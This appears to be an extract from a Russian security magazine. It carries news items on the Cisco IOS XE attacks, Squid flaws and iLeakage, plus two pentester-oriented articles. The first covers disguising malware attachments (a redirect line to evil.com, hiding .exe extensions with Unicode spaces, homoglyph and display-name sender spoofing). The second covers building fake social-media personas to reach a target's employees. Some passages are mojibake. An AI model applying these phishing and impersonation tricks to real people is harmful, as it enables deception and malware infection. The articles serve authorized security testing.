Кроме того, он предупредил, что со временем исследователи изучат проб-


»
лему более тщательно и, возможно, будут созданы более сложные эксплоиты,
которые уже будут вести к выполнению произвольного кода.

WINDOWS 11 УСТАНОВЛЕНА НА 400 ÌÈËËÈÎÍÎÂ


УСТРОЙСТВ
Журналисты Windows Central, со ссылкой на внутренние документы Microsoft, оказавшиеся
в распоряжении редакции, сообщили, что количество установок Windows 11 уже превышает
400 миллионов активных устройств в месяц. Ожидается, что полмиллиарда установок будет
набрано уже в начале 2024 года.

Для достижения отметки в 400 миллионов устройств ОС потребовалось около двух лет. И это
заметно медленнее, чем у Windows 10, которая достигла аналогичного числа установок
за один год (а в 2020 году добиралась до отметки в миллиард пользователей). Тем не менее
в Microsoft уверяют, что с точки зрения пользовательской базы Windows 11 оказалась более
успешной, чем ожидала компания.

МАССОВЫЕ АТАКИ
НА CISCO IOS XE

С сентября 2023 года устройства Cisco под управлением IOS XE находятся


под массовыми атаками из-за недавно обнаруженных 0-day-уязвимостей
CVE-2023-20198 и CVE-2023-20273. Патчи для этих проблем были выпущены
только в конце октября и теперь доступны для клиентов через Cisco Software
Download.
Злоумышленники используют баги CVE-2023-20198 и CVE-2023-
20273 для проникновения на уязвимые устройства и создания привилегиро-
ванных учетных записей (с наивысшим уровнем привилегий 15), а затем
получают root-права и устанавливают в систему написанный на Lua бэкдор,
который позволяет удаленно выполнять команды.
Обе уязвимости можно эксплуатировать только в том случае, если
на устройстве включена функция веб-интерфейса (HTTP-сервер; это можно
сделать через ip http server или ip http secure-server) и устройство подключено
к интернету или ненадежной сети.
К середине октября количество скомпрометированных устройств,
на которых обнаруживался Lua-имплантат, превысило 50 тысяч, но потом
резко пошло на спад. Исследователи обнаруживали лишь 100–1000 взло-
манных девайсов, в зависимости от результатов разных сканирований.

Эксперты выдвигали разные предложения о том, как это могло произойти,


от вмешательства правоохранительных органов до активности неизвестного
grey hat хакера, который автоматизировал перезагрузку зараженных устрой-
ств и таким образом очищает их от бэкдора.
Однако верной оказалась другая теория, которая гласила, что злоумыш-
ленники, стоящие за этими атаками, поняли свою ошибку (их имплантат
слишком легко обнаруживался удаленно) и обновили малварь, чтобы скрыть
свое присутствие. То есть теперь имплантат незаметен во время сканиро-
ваний.
Специалисты из компании Fox-IT сообщили, что вредоносный код
на десятках тысяч взломанных устройств был «изменен, чтобы проверять зна-
чение HTTP-заголовка авторизации перед ответом». Обладая этой информа-
цией, аналитики провели еще одно сканирование и пришли к выводу,
что 37 890 устройств IOS XE все еще скомпрометированы и малварь никуда
не делась. То есть тысячи устройств по-прежнему взломаны и находятся
под контролем злоумышленников.
Разработчикам Cisco уже известно о новом варианте малвари, который
«затрудняет выявление скомпрометированных систем». Сообщается, что
новую версию вредоноса начали развертывать 20 октября и она имеет при-
мерно такую же функциональность, как и предыдущая.
Подчеркивается, что, хотя вредонос, развернутый злоумышленниками,
не является постоянным (то есть удаляется при перезагрузке устройства),
созданная хакерами учетная запись с высоким уровнем привилегий остается
на устройстве даже после его перезапуска.

ПОЛИТИЧЕСКИЕ АТАКИ НА РОССИЙСКИЕ КОМПАНИИ


Специалисты FAССT исследовали кибератаки 2023 года на основе проведенных реагирований
на инциденты в российских компаниях. Выяснилось, что количество политически мотивирован-
ных атак, целью которых было хищение конфиденциальных данных или полное разрушение IT-
инфраструктуры компании, выросло на 140%.

Целями политически мотивированных атакующих чаще других становились предприятия, свя-


занные с критической инфраструктурой, госсектором и оборонной промыш-
ленностью.

Наряду с ними в группе риска оказались IT-компании из сегмента малого и среднего биз-
неса — интернет-ретейлеры, интеграторы, разработчики ПО.

Также количество атак вымогателей за девять месяцев 2023 года выросло на 75%. Средняя
сумма выкупа за расшифровку данных превысила 37 миллионов рублей, а самый крупный
выкуп потребовали вымогатели из группы Shadow — 200 миллионов рублей.

Жертвами шифровальщиков чаще всего становились российские ретейлеры, производс-


твенные, строительные, туристические и страховые компании.

Среднее время простоя атакованной компании составило 14–18 дней.

Наиболее агрессивными преступными группами в России в этом году оказались Shadow


и Twelve.

Обычно Shadow требует от жертвы крупный выкуп (в размере 5–10% от годового дохода ком-
пании) за то, чтобы расшифровать данные и не публиковать похищенную информацию.

Самыми распространенными шифровальщиками, которые преступники используют для атак


на российские компании, стали LockBit, Conti и Babuk, чьи исходники были опубликованы
в открытом доступе.

Продолжение статьи →
← Начало статьи

УЯЗВИМОСТИ
В SQUID
ИСПРАВЛЯЮТ 2,5
ГОДА

Еще в 2021 году ИБ-исследователь Джошуа Роджерс (Joshua Rogers)


выявил 55 уязвимостей в Squid, популярном кеширующем прокси-сервере
с открытым исходным кодом. По словам эксперта, основная часть этих проб-
лем не исправлена до сих пор, а большинству даже не присвоены иден-
тификаторы CVE.
Squid, поддерживающий HTTP, HTTPS, FTP и не только, широко исполь-
зуется интернет-провайдерами и операторами сайтов. Как пишут его раз-
работчики: «Многие из вас используют Squid, даже не подозревая об этом!
Некоторые компании встраивают Squid в домашние или офисные брандма-
уэры, другие используют Squid в масштабных веб-прокси для ускорения
широкополосного и коммутируемого доступа в интернет. Squid часто при-
меняется в архитектурах доставки контента для доставки статического
и потокового видео и аудио пользователям по всему миру».
В феврале 2021 года Джошуа Роджерс провел аудит безопасности Squid
и обнаружил в исходном коде проекта 55 различных ошибок. Как теперь
сообщает эксперт, только 20 из этих уязвимостей были исправлены к нас-
тоящему времени, а для остальных 35 до сих пор нет патчей или иных спо-
собов защиты.
На своем сайте Роджерс перечисляет 45 уязвимостей в Squid. В список
входят проблемы типа use after free, утечки памяти, отравление кеша и прочие
дефекты в различных компонентах. Эксперт отмечает, что оставшиеся десять
багов — это «результат схожих, но других способов воспроизведения тех же
уязвимостей». В итоге многие из обнаруженных проблем могут привести
к сбою, а некоторые могут использоваться и для выполнения произвольного
кода.
Роджерс обнародовал не только технические подробности об уязвимос-
тях, но и PoC-эксплоиты для них на GitHub. Кроме того, на его сайте также
перечислены 13 дополнительных проблем в коде, которые он считает обыч-
ными ошибками, не имеющими отношения к безопасности.
По словам исследователя, все уязвимости он нашел в коде Squid 5.0.5
(новейшая версия Squid сейчас — это 6.3) с помощью фаззинга, ручной про-
верки кода и статического анализа. Он уверяет, что провел тестирование
практически всех возможных компонентов, включая «прямое проксирование,
обратное проксирование, все поддерживаемые протоколы (HTTP, HTTPS,
HTTPS intercept, URN, Whois, Gopher, FTP), ответы, запросы, „помощников“,
DNS, ICAP, ESI, кеширование», при этом использовав все возможные кон-
фигурации.
Роджерс признает, что сопровождающие Squid, как и большинство опен-
сорс-разработчиков, — это в основном добровольцы, которые могут поп-
росту не иметь возможностей для быстрого устранения проблем.

« «Êîìàíäà Squid Team áûëà ïîëåçíà è îêàçûâàëà ïîääåðæêó, êîãäà ÿ


ñîîáùàë îá ýòèõ ïðîáëåìàõ. Îäíàêî îíè èñïûòûâàþò îñòðóþ íåõâàòêó
êàäðîâ, è ó íèõ ïðîñòî íåò ðåñóðñîâ äëÿ óñòðàíåíèÿ îáíàðóæåííûõ
óÿçâèìîñòåé. Åñëè äîëáèòü èõ òðåáîâàíèÿìè îá óñòðàíåíèè ïðîáëåì,
òîëêó îò ýòîãî íå áóäåò», — ïèøåò ñïåöèàëèñò.

Согласно подсчетам Роджерса, на сегодня в интернете доступно


»
более 2,5 миллиона экземпляров Squid, и он рекомендует всем ознакомиться
со списком обнаруженных уязвимостей и подробностями об их возможной
эксплуатации.

« «Âû ñàìè äîëæíû îöåíèòü, ÿâëÿåòñÿ ëè Squid ïîäõîäÿùèì ðåøåíèåì


äëÿ âàøåé ñèñòåìû», — ðåçþìèðîâàë ñïåöèàëèñò.
»
4,3 ÌÈËËÈÀÐÄÀ ЧЕЛОВЕК ВЛАДЕЮТ СМАРТФОНАМИ
По подсчетам торговой организации GSMA, количество владельцев смартфонов в мире пре-
высило 4,3 миллиарда человек, то есть в настоящее время этими гаджетами владеет 54%
населения Земли. При этом около 4 миллиардов человек выходят в интернет при помощи
смартфонов, а еще 600 миллионов получают доступ в сеть через обычные телефоны. -Также
в отчете GSMA отмечается, что 3,4 миллиарда человек до сих пор не имеют доступа к сети.
Причем большинство из тех, кто не пользуется мобильным интернетом, проживают в районах,
охваченных сетью мобильного широкополосного доступа, и лишь 5% людей, которые не поль-
зуются мобильным интернетом, проживают в районах без такого покрытия.

MICROSOFT
ОТКАЗЫВАЕТСЯ
ОТ VBSCRIPT

Компания Microsoft собирается постепенно отказаться от VBScript в будущих


релизах Windows, сначала сделав его функцией on demand, а затем удалив
окончательно. Дело в том, что VBScript уже много лет используется как вектор
заражения Windows-систем малварью.
VBScript (он же Visual Basic Script или Microsoft Visual Basic Scripting
Edition) — это язык сценариев, аналогичный Visual Basic или Visual Basic for
Applications (VBA), который был представлен в августе далекого 1996 года.
VBScript поставляется в комплекте с Internet Explorer, интегрирует
активные скрипты в окружение Windows и взаимодействует с хост-приложе-
ниями посредством Windows Script. При этом Microsoft уже отключила
VBScript по умолчанию в Internet Explorer 11 в Windows 10 еще в
июле 2019 года.

« «VBScript óñòàðåë. Â áóäóùèõ âûïóñêàõ Windows VBScript áóäåò äîñ-


òóïåí êàê ôóíêöèÿ on demand, âïëîòü äî åãî óäàëåíèÿ èç îïåðàöè-
îííîé ñèñòåìû, — ñîîáùàþò òåïåðü ïðåäñòàâèòåëè Microsoft. — Ñíà-
÷àëà ôóíêöèÿ on demand VBScript áóäåò ïðåäóñòàíîâëåíà, ÷òîáû îáåñ-
ïå÷èòü åå áåñïåðåáîéíîå èñïîëüçîâàíèå âî âðåìÿ ïîäãîòîâêè ê ïðåê-
ðàùåíèþ èñïîëüçîâàíèÿ VBScript».

Функции on demand представляют собой дополнительные функции Windows


»
ОС, такие как .NET Framework (.NetFx3), Hyper-V и Windows Subsystem for
Linux, которые не устанавливаются по умолчанию, но могут быть добавлены
при необходимости.
Хотя в компании не говорят об этом официально, похоже, отказ Microsoft
от VBScript связан с тем, что это один из популярных векторов доставки мал-
вари в системы пользователей. К примеру, с его помощью распространялись
такие вредоносы, как Lokibot, Emotet, Qbot, DarkGate.
Отказ от VBScript станет очередным шагом в рамках стратегии, нап-
равленной на снижение количества вредоносных кампаний, эксплуатирующих
для заражения различные функции Windows и Office. Эта работа ведется
с 2018 года и началась с того, что Microsoft расширила поддержку AMSI
на приложения Office 365, что позволило пресечь атаки, использующие мак-
росы VBA.
Впоследствии компания отключила макросы Excel 4.0 (XLM), ввела защиту
от макросов XLM, обязательную блокировку макросов VBA Office по умол-
чанию, а также начала блокировать ненадежные надстройки XLL для тенантов
Microsoft 365 по всему миру.

АДМИНЫ ТОЖЕ ИСПОЛЬЗУЮТ ПАРОЛЬ ADMIN


Аналитики компании Outpost24 собрали интересную статистику об аутентификационных дан-
ных. Оказалось, что ИТ-администраторы используют десятки тысяч слабых паролей, самым
популярным из которых является admin.
В общей сложности исследователи изучили более 1,8 миллиона учетных данных админис-
траторов (все данные были восстановлены после атак от вредоносного ПО). Проанализировав
полученную коллекцию аутентификационных данных, исследователи составили топ самых сла-
бых из них.

УСТРОЙСТВАМ APPLE
УГРОЖАЕТ ILEAKAGE

Группа ученых из Технологического университета Джорджии, Мичиганского


университета и Рурского университета в Бохуме разработала спекулятивную
side-channel-атаку iLeakage, которая работает против устройств Apple и поз-
воляет извлекать конфиденциальную информацию из браузера Safari, вклю-
чая пароли и содержимое вкладок.
Атака работает против любых современных устройств Apple с процес-
сорами серий A и M, и с ее помощью можно извлечь данные из Safari, а также
Firefox, Tor и Edge для iOS практически с «идеальной точностью».
Ученые уверяют, что iLeakage — это не просто концепт и атака может
использоваться в реальности. Для этого достаточно заманить пользователя
на вредоносную веб-страницу, а затем восстановить данные из других вкла-
док, открытых в его браузере Safari.
По сути, iLeakage представляет собой timerless-версию нашумевшей
проблемы Spectre и обходит защиту от side-channel-атак, давно реализован-
ную всеми производителями браузеров. Так, изучая устойчивость Safari
к подобным атакам, специалисты сумели обойти существующие контрмеры
и реализовать не зависящий от архитектуры timerless-метод атаки, связанный
с состоянием гонки.

В основном усилия ученых были сосредоточены на считывании конфиден-


циальной информации из Safari, и им удалось похитить данные, создав при-
митив, способный спекулятивно прочитать и «слить» любой 64-битный ука-
затель в адресном пространстве, используемом браузером Apple для рен-
деринга.
Для этого потребовалось обойти защиту от side-channel-атак, реали-
зованную Apple в браузере, включая low resolution таймер и сжатие 35-битной
адресации. Также исследователи обошли политику изоляции сайтов в Safari,
которая разделяет сайты на разные адресные пространства на основе
доменов верхнего уровня и субдоменов.
Эксперты применили новую технику, использующую API JavaScript
window.open, которая позволяет атакующей странице использовать одно и то
же адресное пространство с произвольными страницами-жертвами.
Используя спекулятивную атаку типа type confusion для обхода защитных
мер Apple, исследователи смогли добиться утечки конфиденциальных данных
с целевой страницы, включая пароли и электронные письма гипотетической
жертвы.
В серии роликов исследователи продемонстрировали, как с помощью
iLeakage извлечь сообщения из Gmail в Safari на iPad, как iLeakage работает
против Chrome для iOS (удалось извлечь историю просмотров жертвы
YouTube), а также показали получение пароля от тестовой учетной записи
в социальной сети, который был автоматически заполнен в Safari с помощью
LastPass.
Эксперты объясняют, что, по сути, правила Apple требуют, чтобы все сто-
ронние браузеры для iOS были оверлеями для Safari и использовали
JavaScript-движок собственного браузера Apple.
Проблема iLeakage затрагивает все устройства Apple, выпущенные пос-
ле 2020 года и работающие на ARM-процессорах Apple серий A и M. Атака
практически не обнаруживается и не оставляет следов в системе жертвы,
за исключением записи о посещении веб-страницы злоумышленника в кеше
браузера.
Тем не менее эксперты подчеркивают, что атака сложна в реализации
и «требует глубокого знания браузерных side-channel-атак и имплементации
Safari».
В исследовательской работе отмечается, что ученые сообщили Apple
о проблеме еще 12 сентября 2022 года, однако компания приняла решение
не выпускать исправлений. Вместо этого предложен следующий метод
защиты для macOS:
• нужно открыть терминал и выполнить команду defaults write
com.apple.Safari IncludeInternalDebugMenu 1, чтобы включить скрытое
меню отладки Safari;
• открыть Safari и перейти в новое меню Debug;
• выбрать пункт WebKit Internal Features;
• активировать функцию Swap Processes on Cross-Site Window Open.

При этом исследователи пишут, что такой способ работает только


для macOS, не включен по умолчанию и в настоящее время вообще считает-
ся нестабильным.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА


DDoS-защиту Cloudare можно обойти с помощью самой Cloudare

Nightshade отравляет данные, нарушая процесс обучения ИИ-моделей

Google и Yahoo будут бороться со спамом по-новому

Появился эксплоит для Linux-уязвимости Looney Tunables

Исследователи делятся новыми подробностями об «Операции „Триангуляция“»

GNOME уязвим перед RCE-атаками из-за ошибки в библиотеке libcue

Хакеры злоупотребляют Binance Smart Chain для хранения вредоносного кода

Фальшивая реклама KeePass использует Punycode и домен, почти неотличимый от настоящего

Okta снова взломали. Данные клиентов попали в руки неизвестных преступников

Google Chrome будет скрывать реальные IP-адреса пользователей


COVERSTORY

ИЗУЧАЕМ УЛОВКИ
И ХИТРОСТИ ДЛЯ ДОСТАВКИ
ПИСЕМ С МАЛВАРЬЮ

По статистике значительная часть зараже-


ний малварью происходит из-за того, что
пользователь сам запустил на своей
машине вредоносный файл. Именно в этом
и заключается основная задача злоумыш- Юрий Другач
Автор книги о социальной
ленников, использующих социальную инже- инженерии «Контролируемый
взлом»
нерию. Давай посмотрим, какие техничес-
кие уловки и хитрости они применяют.

Статья предназначена для «белых хакеров», про-


фессиональных пентестеров и руководителей
службы информационной безопасности (CISO).
Ни автор, ни редакция не несут ответственности
за любой возможный вред, причиненный матери-
алами данной статьи.

ÂËÎÆÅÍÈß È ÔÀÉËÛ

Мы рассмотрим атаки с файлами не с точки зрения того, как их доставляют


во время пентеста и что в них пишут, чтобы пользователь повелся. Об этом
мы поговорим в другой раз. Сегодня мы коснемся нескольких технических
аспектов, включая маскировку файлов и расширений, и обсудим некоторые
лайфхаки.
Доставку HTML-файлов с объектом JavaScript Blob, закодированным
с помощью Base64, в статье мы умышленно не рассматриваем, поскольку
сейчас обсуждается обман людей, а не обход систем защиты.
В целом доставляемые по каналам связи файлы можно отнести к сле-
дующим категориям:
• файлы Microsoft Office;
• HTML (HTM, SHTML);
• PDF;
• архивы (с паролем и без) с нагрузкой внутри;
• ICS-файлы календаря.

Рассмотрим, какие уловки используют злодеи с каждым из этих видов фай-


лов.

ÐÓØÈÌ ØÀÁËÎÍÛ ÏÎÂÅÄÅÍÈß ×ÅÐÅÇ ÏÅ×ÀÒÜ

Когда сотрудник скачивает файл из интернета или из вложения в почтовое


сообщение, его предупреждают, что содержимое файла небезопасно.

Предупреждение о небезопасном содержимом файла

Хочешь попросить его выключить защиту необычным способом? Представься


в письме начальником и скажи, что этот документ (бланк, таблицу) нужно рас-
печатать и подписать, ведь сегодня в течение дня его заберет сотрудник
отдела кадров.
Сотрудник открывает окно с печатью и видит, что она недоступна.

Предупреждение о недоступности печати

Впрочем, он привык, что его просят отключить защищенный просмотр


в самом документе, а это уже немного другой сценарий. Сам Word просит
отключить защиту, ломая шаблоны осведомленного пользователя.

PDF-ÔÀÉËÛ

На рисунке ниже изображен твит (или как там теперь это правильно называ-
ется) с упоминанием вредоносной атаки. Если что, не серчай на перевод
от Google Translate.

Описание атаки через PDF-файл

Ну а на сайте Fortinet ты можешь почитать о подробностях атаки. Быть может,


тебе пригодится подобный способ доставки нагрузки.
Когда мы делали свои первые социотехнические пентесты в 2017 году, то
для трекинга разрешений таких вот загрузок пользовались сервисом
Canarytokens.
Нам и заказчику было достаточно того, что пользователь нажал Allow
(«Разрешить») во всплывающем предупреждении в PDF-файле. Это уже счи-
талось инцидентом и показателем того, что пользователь скомпрометирован.

Интерфейс сервиса Canarytokens

HTML-ÔÀÉËÛ

Во вложении в сообщения электронной почты часто встречаются такие HTML-


файлы:
• с редиректом на какую-то твою страницу, например, это можно организо-
вать с помощью кода <meta http-equiv="refresh" content="0;
URL=https://evil.com"/>;
• содержащий вредоносный iframe, который подтягивает твою страницу
из интернета. Система защиты может не видеть iframe, а пользователь
увидит;
• с фишинговым содержимым. Пример подобного фишинга показан в отче-
те Sophos.

А вот еще пример фишингового HTML-файла.

Имитация Excel-файла на веб-странице

Рассматривая технические трюки, давай коснемся и маскировки расширения


.html в почтовом клиенте.
От невнимательного пользователя HTML-вложение можно замаскировать
так: между docx и html вставить побольше неразрывных пробелов (U+00A0,
см. рисунок ниже).

Имитация DOCX-документа в имени HTML-файла с неразрывными про-


белами

Да, иконка получается не вордовская, но многие не обращают на это вни-


мания. А можешь ничего не маскировать и отправлять как есть.

Имитация DOCX-документа в имени HTML-файла

ÀÐÕÈÂÛ Ñ ÏÀÐÎËÅÌ

Для полноты картины нельзя обойти стороной классическое скрытие вре-


доноса в запароленном архиве. Хоть некоторые системы защиты блокируют
такие архивы от греха подальше, этот способ все еще достаточно действен-
ный.
Письмо с подобным архивом выглядит примерно так:

« Äîáðûé äåíü.
Ïðèêëàäûâàþ àðõèâ ñ äîêóìåíòàìè.
 öåëÿõ áåçîïàñíîñòè àðõèâ çàùèùåí ïàðîëåì.
Ïàðîëü îò àðõèâà: 12345
Ñ óâàæåíèåì, Àíäðåé Ïåòðîâ

Зная, что пользователь может быть обучен определять такие письма


»
как подозрительные, пароль можно не упоминать. Пусть человек сам спросит
его, а ты вышлешь пароль отдельным письмом. Так, по заголовкам его пись-
ма, можно убедиться, что отвечает на письмо именно пользователь, а не
служба ИБ, которая хочет изучить твою нагрузку в архиве.

ÀÐÕÈÂÛ ÁÅÇ ÏÀÐÎËß

Вот так мы прятали настоящее расширение файла в архиве.

Отображение EXE-файла в архиве, где в имени используется много про-


белов

Пользователи реально не понимали, что перед ними .exe, а не .pdf. А дела-


ется это так. В файле Book.pdf.exe после pdf многократно вставлен «сред-
ний математический пробел» в Unicode.

Описание среднего математического пробела

В такое название файла удалось вставить около 280 пробелов. Поэтому если
у пользователя окно просмотра названия файла раздвинуто вправо, то он
увидит .exe, но так бывает нечасто.

Расширенное отображение поля имени файла в архиве

Если вставить много обычных пробелов, то замаскировать настоящее рас-


ширение файла это не очень поможет.

Отображение действительного расширения файла

Опять же это моветон — отправлять .exe в архиве, что легко обнаруживается


защитными системами. Но, во-первых, не у всех установлены такие системы,
во-вторых, я просто люблю все классифицировать, чтобы максимум
информации по теме было в одном разделе, даже если какие-то трюки
не работают в организациях, заботящихся о защите информации.
Когда человек пытался запустить полученный от нас EXE-файл на Linux
и писал нам, что ему не удается открыть файл, мы ему «помогали» и отправ-
ляли другую нагрузку. Можно с уверенностью сказать, что технологии защиты
лишь снижают риски и плюсом к ним нужно вкладываться в навыки кибер-
безопасности людей. Но сейчас не об этом, едем дальше.

ÐÅÄÊÎ ÈÑÏÎËÜÇÓÅÌÛÅ ÐÀÇÐÅØÅÍÈß

Отправляя архивы, пробуй разные расширения помимо стандартных .rar и .


zip. Пытайся обойти систему защиты (техническую и человеческую)
с помощью .cab, .z и других.
В 2020 году по России прокатились рассылки с малварью, запакованной
в архивы с расширением .001, и кто-то был явно не готов к таким атакам и не
блокировал подобные архивы на почтовом сервере. Проверь, может, они
не блокируют и z-архивы :)

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

ИЗУЧАЕМ УЛОВКИ И ХИТРОСТИ ДЛЯ


ДОСТАВКИ ПИСЕМ С МАЛВАРЬЮ

ÔÀÉË ICS

Формат ICS (первая буква — заглавная i) — это формат файлов, исполь-


зуемый для календарей и еmail-клиентов (Google Calendar, Apple iCal,
Microsoft Outlook).
В iPhone, например, такой файл отображается следующим образом.

Пример отображения файла ICS на iPhone

В данном случае кнопки «Сохранить» в свой календарь нет, но это не беда.


Такой вариант подходит для срочных векторов:

« Êîëëåãè, íàïîìèíàåì, ÷òî îíëàéí âñòðå÷à ñîòðóäíèêîâ ñ ãåíåðàëü-


íûì äèðåêòîðîì óæå íà÷àëàñü. Ïîâòîðíî ïðèêðåïëÿþ ôàéë ñ íàïîìè-
íàíèåì äëÿ êàëåíäàðÿ.
»
Отправляем в 9:05. Сотрудник подумает, что уже опаздывает, и не будет раз-
мышлять, стоит ли переходить по ссылке.

ÔÀÉË Â ÎÁËÀÊÅ VS ÔÀÉË ÍÀ ÑÅÐÂÅÐÅ

Напоследок давай рассмотрим, как облачные хранилища файлов помогают


сделать файл более безопасным в глазах жертвы.
Ссылки на один и тот же файл были отправлены, а после открыты
в Outlook. Один файл хранился на Яндекс Диске, второй — прямо на хос-
тинге:

<https://disk.yandex.ru/d/UAB58lN5VE173A>

<https://icast.ru/virus.exe>

В результате файл с Яндекс Диска скачивается без дополнительных уведом-


лений, а при скачивании напрямую пользователь видит вот такое предуп-
реждение.

В загрузках оба файла, соответственно, выглядят так.

Делаем вывод, что, если хотим привлекать меньше внимания к файлу, надо
загружать его в облачное хранилище.

ÍÅÄÎ×ÅÒÛ Â ÈÍÒÅÐÔÅÉÑÀÕ ÏÎ×ÒÎÂÛÕ ÊËÈÅÍÒÎÂ È ÑÅÐÂÈÑÎÂ

С файлами разобрались, теперь пройдемся по нескольким огрехам


в интерфейсе, которые помогают не только пентестерам, но и злоумыш-
ленникам вводить жертв в заблуждение.
Рассмотрим тему с двух сторон: как мы в благих целях можем исполь-
зовать эти недочеты при пентесте в фишинговых рассылках и как разработ-
чики ПО могут помочь пользователям различать этот самый фишинг.
На картинке ниже изображен интерфейс входящего письма в Outlook.

Логика жертвы такая: раз письмо видят и бухгалтер, и директор, значит, лучше
сделать то, что требуется. Все бы ничего, но в копии указаны email-адреса,
имитирующие коллег жертвы, на самом деле это несуществующие адреса
(см. рисунок ниже).
Но если в первом email еще можно разглядеть букву s со штрихом внизу,
то во втором кириллическую букву визуально отличить от латинской невоз-
можно.

При наведении курсора мыши email виден тот же, с поддельной буквой.

Расчет злоумышленника простой: он указывает фиктивные адреса в копии,


письма никуда не доходят, зато жертва думает, что начальство в курсе
переписки, и с большей долей вероятности откроет архив с малварью внутри
или перейдет по фишинговой ссылке.
«Фейковый» email выглядит похожим на оригинальный домен, потому что
Outlook преобразовал Punycode-комбинацию в Unicode.
В другом известном почтовом клиенте точно такая же история: email
с Punycode не отображается как <gl.buhgalter@xn--topphish-g9c.ru>,
а мог бы.

Теперь давай рассмотрим несколько примеров почтовых служб и их


веб-интерфейсов. На этот раз взглянем не на то, как отображается Unicode
в поле отправителя, а насколько сложно пользователю определить отпра-
вителя письма в интерфейсе.
Название компаний указывать не буду, но веб-интерфейсы с явными
проблемами определения реального отправителя письма мы рассмотрим.
На примере ниже ты можешь увидеть email в поле «От», но это не адрес
отправителя — это email, указанный вместо имени отправителя.

Письмо в веб-интерфейсе, где не виден реальный email-адрес отпра-


вителя

То есть имя и email могут выглядеть так: info@domain.ru <info@evil.com>,


а в почтовом сервисе жертва видит только <info@domain.ru>.
В следующем примере похожая история: вместо имени мы видим email
и пользователь решит, что письмо пришло от знакомого отправителя.

Но в этом интерфейсе при нажатии на email хотя бы можно увидеть, кто


на самом деле отправил письмо, в отличие от предыдущего примера. Можно
же сделать так, как в интерфейсах ниже?

Пример отображения имени отправителя и email в Яндекс Почте

Пример отображения имени отправителя и email в The Bat

ÈÒÎÃÈ

Мы рассмотрели несколько приемов обхода «человеческого файрвола»


с помощью технических приемов и недочетов в ПО. Разумеется, сколько
существует программ и сервисов, столько в них будет и недочетов, требуется
лишь усердие при поиске «обхода системы». Собственно, профессия хакера,
в нашем случае белого, как раз и подразумевает, что ты смотришь на мир
немного не так, как все остальные.
COVERSTORY

КАК СОЦИАЛЬНЫЕ СЕТИ


ПОМОГАЮТ ХАКЕРАМ

При пентестах социальные сети часто


обходят стороной — они считаются личным
пространством пользователя. Тем
не менее для злоумышленников социаль-
ные сети — незаменимый источник Юрий Другач
Автор книги о социальной
информации. Сегодня мы поговорим о том, инженерии «Контролируемый
взлом»
как пентестеры могут использовать их
в своей работе.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

Зачем злоумышленнику атаковать сотрудника в социальной сети?


• Сотрудник может отправить «коллеге» конфиденциальную информацию.
• Злоумышленник может получить доступ к личному телефону или компьюте-
ру сотрудника. Если на устройстве есть VPN, который подключается к сети
организации, считай, что злоумышленник уже «гуляет» по корпоративному
серверу или рассылает фишинговые письма другим сотрудникам.
• Если в организации слабая парольная политика, то сотрудник будет
использовать одинаковый или схожий пароль к соцсети и к ресурсам орга-
низации.

Вот такое сообщение может прислать злоумышленник, чтобы преодолеть


двухфакторную аутентификацию, использующую автоматический звонок
как второй фактор.

Пример сообщения от злоумышленника

Приведенный выше пример, конечно, не для корпоративного мира, а для


простых граждан, но он может пригодиться, когда нужно пройти такой вид
аутентификации в корпоративном ПО.

ÏÎÄÃÎÒÎÂÊÀ

Перед тем как проверять осведомленность сотрудника в соцсети, нам, конеч-


но, понадобится аккаунт в ней (скорее даже несколько). Аккаунт можно соз-
дать или купить (пишешь в поисковике «купить аккаунт в ...»). Только
не покупай «лом» (взломанный аккаунт), за угнанные аккаунты по голове
не погладят даже при использовании в законном пентесте.
Потребуются женские аккаунты, неважно, какого пола наша цель. В боль-
шинстве случаев нашему фейку должно быть около 35–45 лет. Эротических
фото размещать не надо. Обычная женщина.
Фотографию на аватарку генерируем с помощью нейронных сетей на сай-
те thispersondoesnotexist.com. Результат генерации, как правило, выглядит
довольно реалистичным.

Примеры сгенерированной «фотографии»

С использованием такой фотографии соцсеть автоматически не забанит тебя


за воровство фото из других аккаунтов. Остальные фотографии берем
с людьми, но без лиц. Трех-пяти снимков будет достаточно. Для получения
уникальных фото отлично подойдут скриншоты из видео.
Подписывать фотографии важно «по-человечески», эмоционально, чтобы
создавалось впечатление, что они не фейковые. Непрофессиональные
фотографии природы тоже подойдут, но не забываем о подписях, например
«Зима в разгаре».

Пример бытовой непрофессиональной фотографии

Заполняем остальные поля в профиле по настроению: школа, вуз и так далее.


Место работы не пишем, но можно написать, что ты HR, если собираешься
общаться с жертвами в этой роли.
Если ты создал аккаунт с нуля, нужно добавить ему «историю». На стене
должны быть какие-то записи в прошедшем времени. В «запрещенной в Рос-
сии соцсети» легче всего создать себе аккаунт десятилетней давности. Алго-
ритм действий очень простой.
Публикуем пост с настройкой видимости «Только я».

Пример настройки видимости поста

Жмем на расположенную справа кнопку вызова меню и меняем дату


на три-четыре года назад.

Изменение даты публикации поста

Размещаем таким образом 8–10 постов.


Теперь нужно «набить» друзей в аккаунт. Кто у нас любит знакомиться
с новыми людьми, даже если не знает их? Правильно, участники соответству-
ющих тематических групп.

Поиск тематических групп

Добавляемся в первую попавшуюся группу и в разделе «Участники» видим


десятки тысяч наших потенциальных друзей. Открываем их профили и нап-
рашиваемся в друзья к 20–30 людям. Как только тебя добавит несколько
человек, иди к ним в профили в раздел «Друзья» и отправляй заявки в друзья
их друзьям (как много слов «друзья» в одном предложении, но что поделать,
дальше будет еще больше).
Люди, которым будут приходить твои заявки, увидят, что у вас есть общий
друг, и с большей вероятностью добавят тебя в свой круг общения. Спустя
час я таким способом набирал по 500–600 человек.
Но для наших целей достаточно и 100–200 человек. Чтобы облегчить старт
раскрутки, можно купить аккаунт с друзьями. Стоит он около 40–50 рублей,
а в друзьях уже будет 50–100 профилей.
Теперь нужно добавлять целевых друзей. Для этого ищем людей по наз-
ванию организации.

Пример поиска сотрудников какой-либо организации

Добавляем человек десять, не больше, и ждем, когда нас примут в друзья.


Теперь отправляем заявки всем остальным, кого мы смогли найти. Доверия
к нашему профилю будет больше, если у нас в друзьях уже числится коллега
из организации жертвы. Если сотрудников таким способом нашлось немного,
придется идти в другие соцсети и искать людей там.

Пример поиска организации в LinkedIn

На странице организации видим список сотрудников и пытаемся найти их


в основной социальной сети, чтобы добавить в друзья.
